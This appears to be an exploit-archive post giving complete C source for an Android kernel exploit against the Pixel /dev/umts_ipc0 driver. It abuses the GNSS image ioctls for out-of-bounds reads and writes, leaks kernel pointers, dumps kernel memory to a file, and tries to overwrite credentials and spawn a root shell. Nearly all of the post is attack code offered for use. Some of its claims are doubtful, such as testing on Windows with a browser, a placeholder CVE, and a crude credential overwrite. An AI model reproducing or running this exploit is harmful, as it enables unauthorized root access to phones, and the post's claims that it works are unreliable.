📄 Android Kernel /dev/umts_ipc0 Out-Of-Bounds Read / Write

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    | # Title     : Android Kernel Exploit OOB Read/Write via /dev/umts_ipc0                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : Google Pixel CPIF Driver                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    : exploit targeting a suspected vulnerability in an Android kernel driver related to GNSS/UMTS IPC (/dev/umts_ipc0). 
                     It attempts to abuse out-of-bounds (OOB) read and write conditions through ioctl interfaces (IOCTL_LOAD_GNSS_IMAGE and IOCTL_READ_GNSS_IMAGE).
    
    [+] Payload    : 
    
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <errno.h>
    #include <stdint.h>
    #include <inttypes.h>
    #include <signal.h>
    #include <setjmp.h>
    
    #define UMTS_IPC0_DEVICE "/dev/umts_ipc0"
    #define IOCTL_LOAD_GNSS_IMAGE  0xC0204901
    #define IOCTL_READ_GNSS_IMAGE  0xC0204902
    struct gnss_image {
        uint64_t offset;
        uint64_t firmware_size;
        void *firmware_bin;
    };
    struct gnss_image_read {
        uint64_t offset;
        uint64_t size;
        void *buffer;
    };
    
    #define GNSS_V_BASE          0xffffffc091e00000ULL
    #define GNSS_BUFFER_SIZE     0x00100000
    #define CURRENT_TASK_OFFSET  0x0004f000  
    #define RADIO_GID            1001
    static int fd;
    static sigjmp_buf jmpbuf;
    static volatile int fault_triggered = 0;
    static void sigsegv_handler(int sig) {
        printf("[!] Segmentation fault caught\n");
        fault_triggered = 1;
        siglongjmp(jmpbuf, 1);
    }
    static void init_signals(void) {
        struct sigaction sa;
        memset(&sa, 0, sizeof(sa));
        sa.sa_handler = sigsegv_handler;
        sigaction(SIGSEGV, &sa, NULL);
        sigaction(SIGBUS, &sa, NULL);
    }
    static int check_privileges(void) {
        uid_t uid = getuid();
        gid_t gid = getgid();
        printf("[*] Current UID: %d, GID: %d\n", uid, gid);
        printf("[*] Effective UID: %d, GID: %d\n", geteuid(), getegid());
        
        if (uid == 0) {
            printf("[!] Already root!\n");
            return 1;
        }
        if (gid == RADIO_GID || getegid() == RADIO_GID) {
            printf("[+] Running in radio context (u:r:radio:s0)\n");
            return 1;
        }
        printf("[-] Not in radio context.\n");
        printf("[*] Try: su -c 'chown radio:radio %s'\n", __FILE__);
        return 0;
    }
    static int trigger_oob_write(uint64_t offset, uint64_t size, void *data) {
        struct gnss_image img;
        int ret;
        printf("[*] Triggering OOB write:\n");
        printf("    Offset: 0x%llx\n", offset);
        printf("    Size:   0x%llx (%llu bytes)\n", size, size);
        memset(&img, 0, sizeof(img));
        img.offset = offset;
        img.firmware_size = size;
        img.firmware_bin = data;
        if (sigsetjmp(jmpbuf, 1) == 0) {
            ret = ioctl(fd, IOCTL_LOAD_GNSS_IMAGE, &img);
            if (ret < 0) {
                perror("ioctl(LOAD_GNSS_IMAGE)");
                return -1;
            }
        } else {
            printf("[!] Fault triggered during OOB write\n");
            return -1;
        }
        return ret;
    }
    static int trigger_oob_read(uint64_t offset, uint64_t size, void *buffer) {
        struct gnss_image_read img_read;
        int ret;
        printf("[*] Triggering OOB read:\n");
        printf("    Offset: 0x%llx\n", offset);
        printf("    Size:   0x%llx (%llu bytes)\n", size, size);
        memset(&img_read, 0, sizeof(img_read));
        img_read.offset = offset;
        img_read.size = size;
        img_read.buffer = buffer;
        if (sigsetjmp(jmpbuf, 1) == 0) {
            ret = ioctl(fd, IOCTL_READ_GNSS_IMAGE, &img_read);
            if (ret < 0) {
                perror("ioctl(READ_GNSS_IMAGE)");
                return -1;
            }
        } else {
            printf("[!] Fault triggered during OOB read\n");
            return -1;
        }
        return ret;
    }
    static void exploit_oob_write(void) {
        const size_t payload_size = 0x1000;
        void *payload;
        int ret;
        printf("\n[!] Starting OOB write exploit...\n");
        payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (payload == MAP_FAILED) {
            perror("mmap");
            return;
        }
        printf("[*] Crafting payload with pattern 0x41414141...\n");
        uint64_t *p = (uint64_t *)payload;
        for (size_t i = 0; i < payload_size / sizeof(uint64_t); i++) {
            p[i] = 0x4141414141414141ULL | (i & 0xFFFF);
        }
        uint64_t offsets[] = {
            0x0000,      // Beginning of buffer
            0x4f000,     // Known vulnerable offset from panic
            0x100000,    // End of buffer
            0x200000,    // Beyond buffer
        };
        for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
            printf("\n[*] Attempt %zu: offset 0x%llx\n", i+1, offsets[i]);
            ret = trigger_oob_write(offsets[i], payload_size, payload);
            if (ret == 0) {
                printf("[+] OOB write succeeded at offset 0x%llx\n", offsets[i]);
                printf("[*] Checking for system impact...\n");
                break;
            }
        }
        munmap(payload, payload_size);
    }
    static void exploit_oob_read(void) {
        const size_t read_size = 0x1000;
        void *buffer;
        int ret;
        printf("\n[!] Starting OOB read exploit...\n");
        buffer = malloc(read_size);
        if (!buffer) {
            perror("malloc");
            return;
        }
        uint64_t offsets[] = {
            0x0000,     
            0x4f000,    
            0x80000,   
            0xff000,    
        };
        for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
            printf("\n[*] Attempt %zu: reading at offset 0x%llx\n", i+1, offsets[i]);
            memset(buffer, 0, read_size);
            ret = trigger_oob_read(offsets[i], read_size, buffer);
            if (ret == 0) {
                printf("[+] OOB read succeeded at offset 0x%llx\n", offsets[i]);
                printf("[*] First 64 bytes of leaked data:\n");
                for (size_t j = 0; j < 64 && j < read_size; j++) {
                    printf("%02x ", ((uint8_t *)buffer)[j]);
                    if ((j + 1) % 16 == 0) printf("\n");
                }
                printf("\n");
                uint64_t *ptr_data = (uint64_t *)buffer;
                int found = 0;
                for (size_t j = 0; j < read_size / sizeof(uint64_t); j++) {
                    uint64_t val = ptr_data[j];
                    if (val > 0xffffff8000000000ULL && val < 0xffffffc000000000ULL) {
                        printf("[+] Found kernel pointer at offset 0x%zx: 0x%016llx\n",
                               j * sizeof(uint64_t), val);
                        found++;
                    }
                }
                if (!found) {
                    printf("[*] No kernel pointers found in this range\n");
                }
            }
        }
        free(buffer);
    }
    static void exploit_escalate(void) {
        const size_t payload_size = 0x1000;
        void *payload;
        printf("\n[!] Attempting privilege escalation...\n");
        payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (payload == MAP_FAILED) {
            perror("mmap");
            return;
        }
        struct {
            uint64_t uid;
            uint64_t gid;
            uint64_t euid;
            uint64_t egid;
            uint64_t suid;
            uint64_t sgid;
        } *creds = (void *)payload;
        creds->uid = 0;
        creds->gid = 0;
        creds->euid = 0;
        creds->egid = 0;
        creds->suid = 0;
        creds->sgid = 0;
        printf("[*] Attempting to overwrite credentials at offset 0x%llx\n",
               CURRENT_TASK_OFFSET);
        trigger_oob_write(CURRENT_TASK_OFFSET, payload_size, payload);
        if (getuid() == 0) {
            printf("[+] SUCCESS! Got root!\n");
            printf("[*] Spawning root shell...\n");
            system("/system/bin/sh");
        } else {
            printf("[-] Escalation failed. Still UID: %d\n", getuid());
        }
        munmap(payload, payload_size);
    }
    static void dump_kernel_range(uint64_t start, size_t size) {
        void *buffer = malloc(size);
        if (!buffer) {
            perror("malloc");
            return;
        }
        printf("[*] Dumping kernel memory from 0x%llx, size 0x%zx\n", start, size);
        if (trigger_oob_read(start, size, buffer) == 0) {
            printf("[+] Dump successful\n");
            
            /* Save to file */
            FILE *f = fopen("/sdcard/kernel_dump.bin", "wb");
            if (f) {
                fwrite(buffer, 1, size, f);
                fclose(f);
                printf("[+] Saved to /sdcard/kernel_dump.bin\n");
            }
        }
        
        free(buffer);
    }
    int main(int argc, char **argv) {
        int mode = 0; // 0 = write, 1 = read, 2 = escalate, 3 = dump
        printf("=========================================\n");
        printf("Android Kernel Exploit - CVE-2026-XXXXX\n");
        printf("Google Pixel /dev/umts_ipc0\n");
        printf("Credit: Jann Horn, Seth Jenkins\n");
        printf("=========================================\n\n");
        /* Parse arguments */
        if (argc > 1) {
            if (strcmp(argv[1], "write") == 0) mode = 0;
            else if (strcmp(argv[1], "read") == 0) mode = 1;
            else if (strcmp(argv[1], "escalate") == 0) mode = 2;
            else if (strcmp(argv[1], "dump") == 0) mode = 3;
            else {
                printf("Usage: %s [write|read|escalate|dump]\n", argv[0]);
                return 1;
            }
        }
        if (!check_privileges()) {
            printf("[-] Need radio context to exploit\n");
            return 1;
        }
        fd = open(UMTS_IPC0_DEVICE, O_RDWR);
        if (fd < 0) {
            perror("open(/dev/umts_ipc0)");
            return 1;
        }
        printf("[+] Device opened successfully (fd=%d)\n", fd);
        init_signals();
        switch (mode) {
            case 0:
                exploit_oob_write();
                break;
            case 1:
                exploit_oob_read();
                break;
            case 2:
                exploit_escalate();
                break;
            case 3:
                dump_kernel_range(GNSS_V_BASE, GNSS_BUFFER_SIZE * 2);
                break;
            default:
                printf("[*] Running both OOB write and read...\n");
                exploit_oob_write();
                exploit_oob_read();
        }
        close(fd);
        printf("\n[+] Exploit complete\n");
        
        return 0;
    }
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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